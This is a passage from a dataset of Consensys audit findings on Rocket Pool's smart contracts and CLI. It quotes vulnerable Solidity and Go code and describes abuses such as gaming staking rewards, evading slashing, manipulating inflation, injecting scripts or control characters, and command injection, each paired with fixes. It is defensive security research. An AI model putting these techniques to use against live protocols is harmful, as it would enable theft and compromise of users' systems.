rewards for 2 reward periods by only staking RPL for the duration of one period (claim the previous period, leave it in for 14 days, claim another period, withdraw). The stake can be withdrawn at the earliest 14 days after staking. However, it can be added back at any time, and the stake addition takes effect immediately. This allows for optimizing the staking reward as follows (assuming we front-run other claimers to maximize profits and perform all transactions in one block): Note that withdraw() can be called right at the time the new reward period starts: rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L165-L166 require(block.number.sub(getNodeRPLStakedBlock(msg.sender)) >= rocketDAOProtocolSettingsRewards.getRewardsClaimIntervalBlocks(), \"The withdrawal cooldown period has not passed\"); // Get & check node's current RPL stake Examples A node may choose to register and stake some RPL to collect rewards but never actually provide registered node duties, e.g., operating a Minipool. Node shares for a passed reward epoch are unpredictable as nodes may change their stake (adding) after/before users claim their rewards. A node can maximize its rewards by adding stake just before claiming it A node can stake to claim rewards, wait 14 days, withdraw, lend on a platform and return the stake in time to claim the next period. Recommendation Review the incentive model for the RPL rewards. Consider adjusting it so that nodes that provide a service get a better share of the rewards. Consider accruing rewards for the duration the stake was provided instead of taking a snapshot whenever the node calls claim(). Require stake to be locked for > 14 days instead of >=14 days (withdraw()) or have users skip the first reward period after staking. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.8 RocketNodeStaking - Node operators can reduce slashing impact by withdrawing excess staked RPL ", "body": " Resolution The RocketNodeStaking.withdrawRPL method now reverts if a node operator attempts to withdraw an RPL amount that results in the leftover RPL stake being smaller than the maximum required stake. This prevents operators from withdrawing excess RPL to avoid the impact of a slashing. https://github.com/rocket-pool/rocketpool/blob/rp3.0-updates/contracts/contract/node/RocketNodeStaking.sol#L187 Description Oracle nodes update the Minipools balance and progress it to the withdrawable state when they observe the minipools stake to become withdrawable. If the observed stakingEndBalance is less than the user deposit for that pool, the node operator is punished for the difference. rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolStatus.sol:L89-L94 rocketMinipoolManager.setMinipoolWithdrawalBalances(_minipoolAddress, _stakingEndBalance, nodeAmount); // Apply node penalties by liquidating RPL stake if (_stakingEndBalance < userDepositBalance) { RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress(\"rocketNodeStaking\")); rocketNodeStaking.slashRPL(minipool.getNodeAddress(), userDepositBalance - _stakingEndBalance); The amount slashed is at max userDepositBalance - stakingEndBalance. The userDepositBalance is at least 16 ETH (minipool.half/.full) and at max 32 ETH (minipool.empty). The maximum amount to be slashed is therefore 32 ETH (endBalance = 0, minipool.empty). https://github.com/ConsenSys/rocketpool-audit-2021-03/issues/32; note that the RPL token is potentially affected by a similar issue as one can stake RPL, wait for the cooldown period & wait for the price to change, and withdraw stake at higher RPL price/ETH). The rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L188-L196 uint256 rplSlashAmount = calcBase.mul(_ethSlashAmount).div(rocketNetworkPrices.getRPLPrice()); // Cap slashed amount to node's RPL stake uint256 rplStake = getNodeRPLStake(_nodeAddress); if (rplSlashAmount > rplStake) { rplSlashAmount = rplStake; } // Transfer slashed amount to auction contract rocketVault.transferToken(\"rocketAuctionManager\", getContractAddress(\"rocketTokenRPL\"), rplSlashAmount); // Update RPL stake amounts decreaseTotalRPLStake(rplSlashAmount); decreaseNodeRPLStake(_nodeAddress, rplSlashAmount); If the node does not have a sufficient RPL stake to cover the losses, the slashing amount is capped at whatever amount of RPL the node has left staked. The minimum amount of RPL a node needs to have staked if it operates minipools is calculated as follows: rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L115-L120 // Calculate minimum RPL stake return rocketDAOProtocolSettingsMinipool.getHalfDepositUserAmount() .mul(rocketDAOProtocolSettingsNode.getMinimumPerMinipoolStake()) .mul(rocketMinipoolManager.getNodeMinipoolCount(_nodeAddress)) .div(rocketNetworkPrices.getRPLPrice()); With the current configuration, this would resolve in a minimum stake of 16 ETH * 0.1 (10% collateralization) * 1 (nr_minipools) * RPL_Price for a node operating 1 minipool. This means a node operator basically only needs to have 10% of 16 ETH staked to operate one minipool. An operator can withdraw their stake at any time, but they have to wait at least 14 days after the last time they staked (cooldown period). They can, at max, withdraw all but the minimum stake required to run the pools (nr_of_minipools * 16 ETH * 10%). This also means that after the cooldown period, they can reduce their stake to 10% of the half deposit amount (16ETH), then perform a voluntary exit on ETH2 so that the minipool becomes withdrawable. If they end up with less than the userDepositBalance in staking rewards, they would only get slashed the 1.6 ETH at max (10% of 16ETH half deposit amount for 1 minipool) even though they incurred a loss that may be up to 32 ETH (empty Minipool empty amount). Furthermore, if a node operator runs multiple minipools, let s say 5, then they would have to provide at least 5*16ETH*0.1 = 8ETH as a security guarantee in the form of staked RPL. If the node operator incurs a loss with one of their minipools, their 8 ETH RPL stake will likely be slashed in full. Their other - still operating - minipools are not backed by any RPL anymore, and they effectively cannot be slashed anymore. This means that a malicious node operator can create multiple minipools, stake the minimum amount of RPL, get slashed for one minipool, and still operate the others without having the minimum RPL needed to run the minipools staked (getNodeMinipoolLimit). The RPL stake is donated to the RocketAuctionManager, where they can attempt to buy back RPL potentially at a discount. Note: Staking more RPL (e.g., to add another Minipool) resets the cooldown period for the total RPL staked (not only for the newly added) Recommendation It is recommended to redesign the withdrawal process to prevent users from withdrawing their stake while slashable actions can still occur. A potential solution may be to add a locking period in the process. A node operator may schedule the withdrawal of funds, and after a certain time has passed, may withdraw them. This prevents the immediate withdrawal of funds that may need to be reduced while slashable events can still occur. E.g.: A node operator requests to withdraw all but the minimum required stake to run their pools. The funds are scheduled for withdrawal and locked until a period of X days has passed. (optional) In this period, a slashable event occurs. The funds for compensation are taken from the user s stake including the funds scheduled for withdrawal. After the time has passed, the node operator may call a function to trigger the withdrawal and get paid out. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.9 RocketTokenRPL - inaccurate inflation rate and potential for manipulation lowering the real APY Addressed", "body": " Resolution The main issue was addressed in branch rocket-pool/rocketpool@b424ca1) by recording the timestamp up to when inflation was updated to instead of the current block timestamp ( Description RocketTokenRPL allows users to swap their fixed-rate tokens to the inflationary RocketTokenRPL ERC20 token via a swapToken function. The DAO defines the inflation rate of this token and is initially set to be 5% APY. This APY is configured as a daily inflation rate (APD) with the corresponding 1 day in blocks inflation interval in the rocketDAOProtocolSettingsInflation contract. The DAO members control the inflation settings. Anyone can call inflationMintTokens to inflate the token, which mints tokens to the contracts RocketVault. Tokens are minted for discreet intervals since the last time inflationMintTokens was called (recorded as inflationCalcBlock). The inflation is then calculated for the passed intervals without taking the current not yet completed interval. However, the inflationCalcBlock is set to the current block.number, effectively skipping some time /blocks of the APY calculation. The more often inflationMintTokens is called, the higher the APY likelihood dropping below the configured 5%. In the worst case, one could manipulate the APY down to 2.45% (assuming that the APD for a 5% APY was configured) by calling inflationMintTokens close to the end of every second interval. This would essentially restart the APY interval at block.number, skipping blocks of the current interval that have not been accounted for. Note: updating the inflation rate will directly affect past inflation intervals that have not been minted! this might be undesirable, and it could be considered to force an inflation mint if the APY changes Note: if the interval is small enough and there is a history of unaccounted intervals to be minted, and the Ethereum network is congested, gas fees may be high and block limits hit, the calculations in the for loop might be susceptible to DoS the inflation mechanism because of gas constraints. Note: The inflation seems only to be triggered regularly on RocketRewardsPool.claim (or at any point by external actors). If the price establishes based on the total supply of tokens, then this may give attackers an opportunity to front-run other users trading large amounts of RPL that may previously have calculated their prices based on the un-inflated supply. Note: that the discrete interval-based inflation (e.g., once a day) might create dynamics that put pressure on users to trade their RPL in windows instead of consecutively Examples the inflation intervals passed is the number of completed intervals. The current interval that is started is not included. rocketpool-2.5-Tokenomics-updates/contracts/contract/token/RocketTokenRPL.sol:L108-L119 function getInlfationIntervalsPassed() override public view returns(uint256) { // The block that inflation was last calculated at uint256 inflationLastCalculatedBlock = getInflationCalcBlock(); // Get the daily inflation in blocks uint256 inflationInterval = getInflationIntervalBlocks(); // Calculate now if inflation has begun if(inflationLastCalculatedBlock > 0) { return (block.number).sub(inflationLastCalculatedBlock).div(inflationInterval); }else{ return 0; the inflation calculation calculates the to-be-minted tokens for the inflation rate at newTokens = supply * rateAPD^intervals - supply rocketpool-2.5-Tokenomics-updates/contracts/contract/token/RocketTokenRPL.sol:L126-L148 function inflationCalculate() override public view returns (uint256) { // The inflation amount uint256 inflationTokenAmount = 0; // Optimisation uint256 inflationRate = getInflationIntervalRate(); // Compute the number of inflation intervals elapsed since the last time we minted infation tokens uint256 intervalsSinceLastMint = getInlfationIntervalsPassed(); // Only update if last interval has passed and inflation rate is > 0 if(intervalsSinceLastMint > 0 && inflationRate > 0) { // Our inflation rate uint256 rate = inflationRate; // Compute inflation for total inflation intervals elapsed for (uint256 i = 1; i < intervalsSinceLastMint; i++) { rate = rate.mul(inflationRate).div(10 ** 18); // Get the total supply now uint256 totalSupplyCurrent = totalSupply(); // Return inflation amount inflationTokenAmount = totalSupplyCurrent.mul(rate).div(10 ** 18).sub(totalSupplyCurrent); // Done return inflationTokenAmount; Recommendation Properly track inflationCalcBlock as the end of the previous interval, as this is up to where the inflation was calculated, instead of the block at which the method was invoked. Ensure APY/APD and interval configuration match up. Ensure the interval is not too small (potential gas DoS blocking inflation mint and RocketRewardsPool.claim). ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.10 Trusted node participation risk and potential client optimizations ", "body": " Resolution The development team considers this issue fixed as monitoring on the correct behaviour of node software is added to the system. Description The system might end up in a stale state with minipools never being setWithdrawable or network and prices being severely outdated because trusted nodes don t fulfill their duty of providing oracle values. Minipools not being able to advance to the Withdrawable state will severely harm the system as no rewards can be paid out. Outdated balances and prices may affect token economics around the tokens involved (specifically rETH price depends on oracle observations). There is an incentive to be an oracle node as you get paid to provide oracle node duties when enrolled with the DAO. However, it is not enforced that nodes actually fulfill their duty of calling the respective onlyTrustedNode oracle functions to submit prices/balances/minipool rewards. Therefore, a smart Rocket Pool trusted node operator might consider patching their client software to not or only sporadically fulfill their duties to save considerable amounts of gas, making more profit than other trusted nodes would. There is no means to directly incentivize trusted nodes to call certain functions as they get their rewards anyway. The only risk they run is that other trusted nodes might detect their antisocial behavior and attempt to kick them out of the DAO. To detect this, monitoring tools and processes need to be established; it is questionable whether users would participate in high maintenance DAO operators. Furthermore, trusted nodes might choose to gas optimize their submissions to avoid calling the actual action once quorum was established. They can, for example, attempt to submit prices as early as possible, avoiding that they re the first to hit the 51% threshold. Recommendation Create monitoring tools and processes to detect participants that do not fulfill their trusted DAO duties. Create direct incentives for trusted nodes to provide oracle services by, e.g., recording their participation rate and only payout rewards based on how active they are. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.11 RocketDAONodeTrustedUpgrade - upgrade does not prevent the use of the same address multiple times creating an inconsistency where getContractAddress returns outdated information ", "body": " Resolution A check has been introduced to make sure that the new contract address is not already in use by checking against the corresponding Description When adding a new contract, it is checked whether the address is already in use. This check is missing when upgrading a named contract to a new implementation, potentially allowing someone to register one address to multiple names creating an inconsistent configuration. The crux of this is, that, getContractAddress() will now return a contract address that is not registered anymore (while getContractName may throw). getContractAddress can therefore not relied upon when checking ACL. add contract name=test, address=0xfefe > sets contract.exists.0xfefe=true sets contract.name.0xfefe=test sets contract.address.test=0xfefe sets contract.abi.test=abi add another contract name=badcontract, address=0xbadbad > sets contract.exists.0xbadbad=true sets contract.name.0xbadbad=badcontract sets contract.address.badcontract=0xbadbad sets contract.abi.badcontract=abi update contract name=test, address=0xbadbad reusing badcontradcts address, the address is now bound to 2 names (test, badcontract) overwrites contract.exists.0xbadbad=true` (even though its already true) updates contract.name.0xbadbad=test (overwrites the reference to badcontract; badcontracts config is now inconsistent) updates contract.address.test=0xbadbad (ok, expected) updates contract.abi.test=abi (ok, expected) removes contract.name.0xfefe (ok) removes contract.exists.0xfefe (ok) update contract name=test, address=0xc0c0 sets contract.exists.0xc0c0=true sets contract.name.0xc0c0=test (ok, expected) updates contract.address.test=0xc0c0 (ok, expected) updates contract.abi.test=abi (ok, expected) removes contract.name.0xbadbad (the contract is still registered as badcontract, but is indirectly removed now) removes contract.exists.0xbadbad (the contract is still registered as badcontract, but is indirectly removed now) After this, badcontract is partially cleared, getContractName(0xbadbad) throws while getContractAddress(badcontract) returns 0xbadbad which is already unregistered (contract.exists.0xbadbad=false) Examples check in `_addContract`` rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedUpgrade.sol:L76-L76 require(_contractAddress != address(0x0), \"Invalid contract address\"); no checks in upgrade. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedUpgrade.sol:L53-L59 require(_contractAddress != address(0x0), \"Invalid contract address\"); require(_contractAddress != oldContractAddress, \"The contract address cannot be set to its current address\"); // Register new contract setBool(keccak256(abi.encodePacked(\"contract.exists\", _contractAddress)), true); setString(keccak256(abi.encodePacked(\"contract.name\", _contractAddress)), _name); setAddress(keccak256(abi.encodePacked(\"contract.address\", _name)), _contractAddress); setString(keccak256(abi.encodePacked(\"contract.abi\", _name)), _contractAbi); Recommendation Check that the address being upgraded to is not yet registered and properly clean up contract.address.. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.12 Rocketpool CLI - Lax data validation and output sanitation Addressed", "body": " Resolution Addressed with v1.0.0-rc1 by sanitizing non-printables from strings stored in the smart contract. This effectively mitigates terminal-based control character injection attacks. However, might still be used to inject context-sensitive information that may be consumed by different protocols/presentation layers (web, terminal by displaying falsified information next to fields). E-mail and timezone format validation was introduced with https://github.com/rocket-pool/rocketpool-go/blob/c8738633ab973503b79c7dee5c2f78d7e44e48ae/dao/trustednode/proposals.go#L22 and rocket-pool/rocketpool-go@6e72501. It is recommended to further tighten the checks on untrusted information enforcing an expected format of information and reject to interact with nodes/data that does not comply with the expected formats (e.g. email being in an email format, timezone information is a valid timezone, and does not contain extra information, \u2026). Description ValidateTimezoneLocation and ValidateDAOMemberEmail are only used to validate user input from the command line. Timezone location information and member email addresses are stored in the smart contract s string storage, e.g., using the setTimezoneLocation function of the RocketNodeManager contract. This function only validates that a minimum length of 4 has been given. Through direct interaction with the contract, an attacker can submit arbitrary information, which is not validated on the CLI s side. With additional integrations of the Rocketpool smart contracts, the timezone location field may be used by an attacker to inject malicious code (e.g., for cross-site scripting attacks) or injecting false information (e.g. Balance: 1000 RPL or Status: Trusted), which is directly displayed on a user-facing application. On the command line, control characters such as newline characters can be injected to alter how text is presented to the user, effectively exploiting user trust in the official application. Examples rocketpool-go-2.5-Tokenomics/node/node.go:L134-L153 wg.Go(func() error { var err error timezoneLocation, err = GetNodeTimezoneLocation(rp, nodeAddress, opts) return err }) // Wait for data if err := wg.Wait(); err != nil { return NodeDetails{}, err // Return return NodeDetails{ Address: nodeAddress, Exists: exists, WithdrawalAddress: withdrawalAddress, TimezoneLocation: timezoneLocation, }, nil smartnode-2.5-Tokenomics/rocketpool-cli/odao/members.go:L34-L44 for _, member := range members.Members { fmt.Printf(\"--------------------\\n\") fmt.Printf(\"\\n\") fmt.Printf(\"Member ID: %s\\n\", member.ID) fmt.Printf(\"Email address: %s\\n\", member.Email) fmt.Printf(\"Joined at block: %d\\n\", member.JoinedBlock) fmt.Printf(\"Last proposal block: %d\\n\", member.LastProposalBlock) fmt.Printf(\"RPL bond amount: %.6f\\n\", math.RoundDown(eth.WeiToEth(member.RPLBondAmount), 6)) fmt.Printf(\"Unbonded minipools: %d\\n\", member.UnbondedValidatorCount) fmt.Printf(\"\\n\") Recommendation Validate user input before storing it on the blockchain. Validate and sanitize stored user tainted data before presenting it. Establish a register of data validation rules (e.g., email format, timezone format, etc.). Reject nodes operating with nodes that do not honor data validation rules. Validate the correct format of variables (e.g., timezone location, email, name, \u2026) on the storage level (if applicable) and the lowest level of the go library to offer developers a strong foundation to build on and mitigate the risk in future integrations. Furthermore, on-chain validation might not be implemented (due to increased gas consumption) should be mentioned in the developer documentation security section as they need to be handled with special caution by consumer applications. Sanitize output before presenting it to avoid control character injections in terminal applications or other presentation technologies (e.g., SQL or HTML). Review all usage of the fmt lib (especially Sprintf and string handling/concatenating functions). Ensure only sanitized data can reach this sink. Review the logging library and ensure it is hardened against control character injection by encoding non-printables and CR-LF. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.13 Rocketpool CLI - Various command injection vectors Addressed", "body": " Resolution Initially, the client implemented the suggested fix using https://github.com/rocket-pool/smartnode/compare/extra-escapes. Description Various commands in the Rocketpool CLI make use of the readOutput and printOutput functions. These do not perform sanitization of user-supplied inputs and allow an attacker to supply malicious values which can be used to execute arbitrary commands on the user s system. Examples All commands using the Client.readOutput, Client.printOutput and Client.compose functions are affected. Furthermore, Client.callAPI is used for API-related calls throughout the Rocketpool service. However, it does not validate that the values passed into it are valid API commands. This can lead to arbitrary command execution, also inside the container using docker exec. Recommendation Perform strict validation on all user-supplied parameters. If parameter values need to be inserted into a command template string, the %q format string or other restrictive equivalents should be used. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.14 RocketStorage - Risk concentration by giving all registered contracts permissions to change any settings in RocketStorage ", "body": " Resolution The client provided the following statement: We ve looked at adding access control contracts using namespaces, but the increase in gas usage would be significant and could hinder upgrades. Description The ACL for changing settings in the centralized RocketStorage allows any registered contract (listed under contract.exists) to change settings that belong to other parts of the system. The concern is that if someone finds a way to add their malicious contract to the registered contact list, they will override any setting in the system. The storage is authoritative when checking certain ACLs. Being able to set any value might allow an attacker to gain control of the complete system. Allowing any contract to overwrite other contracts settings dramatically increases the attack surface. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketStorage.sol:L24-L32 modifier onlyLatestRocketNetworkContract() { // The owner and other contracts are only allowed to set the storage upon deployment to register the initial contracts/settings, afterwards their direct access is disabled if (boolStorage[keccak256(abi.encodePacked(\"contract.storage.initialised\"))] == true) { // Make sure the access is permitted to only contracts in our Dapp require(boolStorage[keccak256(abi.encodePacked(\"contract.exists\", msg.sender))], \"Invalid or outdated network contract\"); _; rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketStorage.sol:L78-L85 function setAddress(bytes32 _key, address _value) onlyLatestRocketNetworkContract override external { addressStorage[_key] = _value; /// @param _key The key for the record function setUint(bytes32 _key, uint _value) onlyLatestRocketNetworkContract override external { uIntStorage[_key] = _value; Recommendation Allow contracts to only change settings related to their namespace. ", "labels": ["Consensys", "Major", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.15 RocketDAOProposals - require a minimum participation quorum for DAO proposals Addressed", "body": " Resolution Addressed by requiring the DAO minimum viable user count as the minium quorum with rocket-pool/rocketpool@11bc18c (in bootstrap mode). The check for the bootstrap mode has since been removed following our remark [\u2026] the problem here was not so much the bootstrap mode but rather that the dao membership may fall below the recovery mode threshold. The question is, whether it should still be allowed to propose and execute votes if the memberCount at proposal time is below that treshold (e.g. malicious member boots off other members, sends new proposals (quorum required=1), dao membrers rejoin but cannot reject that proposal anymore). Question is if quorum should be at least the recovery treshold. And the following feedback from the client: [\u2026] had that as allowed to happen if bootstrap mode was enabled. I ve just disabled the check for bootstrap mode now so that any proposals can t be made if the min member count is below the amount required. This means new members can only be added in this case via the emergency join function before new proposals can be added Description If the DAO falls below the minimum viable membership threshold, voting for proposals still continues as DAO proposals do not require a minimum participation quorum. In the worst case, this would allow the last standing DAO member to create a proposal that would be passable with only one vote even if new members would be immediately ready to join via the recovery mode (which has its own risks) as the minimum votes requirement for proposals is set as >0. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/RocketDAOProposal.sol:L170-L170 require(_votesRequired > 0, \"Proposal cannot have a 0 votes required to be successful\"); rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedProposals.sol:L57-L69 function propose(string memory _proposalMessage, bytes memory _payload) override public onlyTrustedNode(msg.sender) onlyLatestContract(\"rocketDAONodeTrustedProposals\", address(this)) returns (uint256) { // Load contracts RocketDAOProposalInterface daoProposal = RocketDAOProposalInterface(getContractAddress('rocketDAOProposal')); RocketDAONodeTrustedInterface daoNodeTrusted = RocketDAONodeTrustedInterface(getContractAddress('rocketDAONodeTrusted')); RocketDAONodeTrustedSettingsProposalsInterface rocketDAONodeTrustedSettingsProposals = RocketDAONodeTrustedSettingsProposalsInterface(getContractAddress(\"rocketDAONodeTrustedSettingsProposals\")); // Check this user can make a proposal now require(daoNodeTrusted.getMemberLastProposalBlock(msg.sender).add(rocketDAONodeTrustedSettingsProposals.getCooldown()) <= block.number, \"Member has not waited long enough to make another proposal\"); // Record the last time this user made a proposal setUint(keccak256(abi.encodePacked(daoNameSpace, \"member.proposal.lastblock\", msg.sender)), block.number); // Create the proposal return daoProposal.add(msg.sender, 'rocketDAONodeTrustedProposals', _proposalMessage, block.number.add(rocketDAONodeTrustedSettingsProposals.getVoteDelayBlocks()), rocketDAONodeTrustedSettingsProposals.getVoteBlocks(), rocketDAONodeTrustedSettingsProposals.getExecuteBlocks(), daoNodeTrusted.getMemberQuorumVotesRequired(), _payload); Sidenote: Since a proposals acceptance quorum is recorded on proposal creation, this may lead to another scenario where proposals acceptance quorum may never be reached if members leave the DAO. This would require a re-submission of the proposal. Recommendation Do not accept proposals if the member count falls below the minimum DAO membercount threshold. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.16 RocketDAONodeTrustedUpgrade - inconsistent upgrade blacklist Addressed", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by updating the blacklist. Description upgradeContract defines a hardcoded list of contracts that cannot be upgraded because they manage their own settings (statevars) or they hold value in the system. the list is hardcoded and cannot be extended when new contracts are added via addcontract. E.g. what if another contract holding value is added to the system? This would require an upgrade of the upgrade contract to update the whitelist (gas hungry, significant risk of losing access to the upgrade mechanisms if a bug is being introduced). a contract named rocketPoolToken is blacklisted from being upgradeable but the system registers no contract called rocketPoolToken. This may be an oversight or artifact of a previous iteration of the code. However, it may allow a malicious group of nodes to add a contract that is not yet in the system which cannot be removed anymore as there is no removeContract functionality and upgradeContract to override the malicious contract will fail due to the blacklist. Note that upgrading RocketTokenRPL requires an account balance migration as contracts in the system may hold value in RPL (e.g. a lot in AuctionManager) that may vanish after an upgrade. The contract is not exempt from upgrading. A migration may not be easy to perform as the system cannot be paused to e.g. snapshot balances. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedUpgrade.sol:L41-L49 function _upgradeContract(string memory _name, address _contractAddress, string memory _contractAbi) internal { // Check contract being upgraded bytes32 nameHash = keccak256(abi.encodePacked(_name)); require(nameHash != keccak256(abi.encodePacked(\"rocketVault\")), \"Cannot upgrade the vault\"); require(nameHash != keccak256(abi.encodePacked(\"rocketPoolToken\")), \"Cannot upgrade token contracts\"); require(nameHash != keccak256(abi.encodePacked(\"rocketTokenRETH\")), \"Cannot upgrade token contracts\"); require(nameHash != keccak256(abi.encodePacked(\"rocketTokenNETH\")), \"Cannot upgrade token contracts\"); require(nameHash != keccak256(abi.encodePacked(\"casperDeposit\")), \"Cannot upgrade the casper deposit contract\"); // Get old contract address & check contract exists Recommendation Consider implementing a whitelist of contracts that are allowed to be upgraded instead of a more error-prone blacklist of contracts that cannot be upgraded. Provide documentation that outlines what contracts are upgradeable and why. Create a process to verify the blacklist before deploying/operating the system. Plan for migration paths when upgrading contracts in the system Any proposal that reaches the upgrade contract must be scrutinized for potential malicious activity (e.g. as any registered contract can directly modify storage or may contain subtle backdoors. Upgrading without performing a thorough security inspection may easily put the DAO at risk) ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.17 RocketDAONodeTrustedActions - member cannot be kicked if the vault does not hold enough RPL to cover the bond ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by returning the bond if enough RPL is in the treasury and else continue without returning the bond. This way the member kick action does not block and the member can be kicked regardless of the RPL balance. Description If a DAO member behaves badly other DAO members may propose the node be evicted from the DAO. If for some reason, RocketVault does not hold enough RPL to pay back the DAO member bond actionKick will throw. The node is not evicted. Now this is a somewhat exotic scenario as the vault should always hold the bond for the members in the system. However, if the node was kicked for stealing RPL (e.g. passing an upgrade proposal to perform an attack) it might be impossible to execute the eviction. Recommendation Ensure that there is no way a node can influence a succeeded kick proposal to fail. Consider burning the bond (by keeping it) as there is a reason for evicting the node or allow them to redeem it in a separate step. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.18 RocketMinipoolStatus - DAO Membership changes can result in votes getting stuck ", "body": " Resolution This issue has been fixed in PR https://github.com/ConsenSys/rocketpool-audit-2021-03/issues/204 by introducing a public method that allows anyone to manually trigger a DAO consensus threshold check and a subsequent balance update in case the issue s example scenario occurs. Description Changes in the DAO s trusted node members are reflected in the RocketDAONodeTrusted.getMemberCount() function. When compared with the vote on consensus threshold, a DAO-driven decision is made, e.g., when updating token price feeds and changing Minipool states. Especially in the early phase of the DAO, the functions below can get stuck as execution is restricted to DAO members who have not voted yet. Consider the following scenario: The DAO consists of five members Two members vote to make a Minipool withdrawable The other three members are inactive, the community votes, and they get kicked from the DAO The two remaining members have no way to change the Minipool state now. All method calls to trigger the state update fails because the members have already voted before. Note: votes of members that are kicked/leave are still count towards the quorum! Examples Setting a Minipool into the withdrawable state: rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolStatus.sol:L62-L65 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { setMinipoolWithdrawable(_minipoolAddress, _stakingStartBalance, _stakingEndBalance); Submitting a block s network balances: rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkBalances.sol:L94-L97 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { updateBalances(_block, _totalEth, _stakingEth, _rethSupply); Submitting a block s RPL price information: rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkPrices.sol:L69-L72 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { updatePrices(_block, _rplPrice); Recommendation The conditional check and update of price feed information, Minipool state transition, etc., should be externalized into a separate public function. This function is also called internally in the existing code. In case the DAO gets into the scenario above, anyone can call the function to trigger a reevaluation of the condition with updated membership numbers and thus get the process unstuck. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.19 Trusted/Oracle-Nodes can vote multiple times for different outcomes ", "body": " Description Trusted/oracle nodes submit various ETH2 observations to the RocketPool contracts. When 51% of nodes submitted the same observation, the result is stored in the contract. However, while it is recorded that a node already voted for a specific minipool (being withdrawable & balance) or block (price/balance), a re-submission with different parameters for the same minipool/block is not rejected. Since the oracle values should be distinct, clear, and there can only be one valid value, it should not be allowed for trusted nodes to change their mind voting for multiple different outcomes within one block or one minipool Examples RocketMinipoolStatus - a trusted node can submit multiple different results for one minipool Note that setBool(keccak256(abi.encodePacked(\"minipool.withdrawable.submitted.node\", msg.sender, _minipoolAddress)), true); is recorded but never checked. (as for the other two instances) rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolStatus.sol:L48-L57 // Get submission keys bytes32 nodeSubmissionKey = keccak256(abi.encodePacked(\"minipool.withdrawable.submitted.node\", msg.sender, _minipoolAddress, _stakingStartBalance, _stakingEndBalance)); bytes32 submissionCountKey = keccak256(abi.encodePacked(\"minipool.withdrawable.submitted.count\", _minipoolAddress, _stakingStartBalance, _stakingEndBalance)); // Check & update node submission status require(!getBool(nodeSubmissionKey), \"Duplicate submission from node\"); setBool(nodeSubmissionKey, true); setBool(keccak256(abi.encodePacked(\"minipool.withdrawable.submitted.node\", msg.sender, _minipoolAddress)), true); // Increment submission count uint256 submissionCount = getUint(submissionCountKey).add(1); setUint(submissionCountKey, submissionCount); RocketNetworkBalances - a trusted node can submit multiple different results for the balances at a specific block rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkBalances.sol:L80-L92 // Get submission keys bytes32 nodeSubmissionKey = keccak256(abi.encodePacked(\"network.balances.submitted.node\", msg.sender, _block, _totalEth, _stakingEth, _rethSupply)); bytes32 submissionCountKey = keccak256(abi.encodePacked(\"network.balances.submitted.count\", _block, _totalEth, _stakingEth, _rethSupply)); // Check & update node submission status require(!getBool(nodeSubmissionKey), \"Duplicate submission from node\"); setBool(nodeSubmissionKey, true); setBool(keccak256(abi.encodePacked(\"network.balances.submitted.node\", msg.sender, _block)), true); // Increment submission count uint256 submissionCount = getUint(submissionCountKey).add(1); setUint(submissionCountKey, submissionCount); // Emit balances submitted event emit BalancesSubmitted(msg.sender, _block, _totalEth, 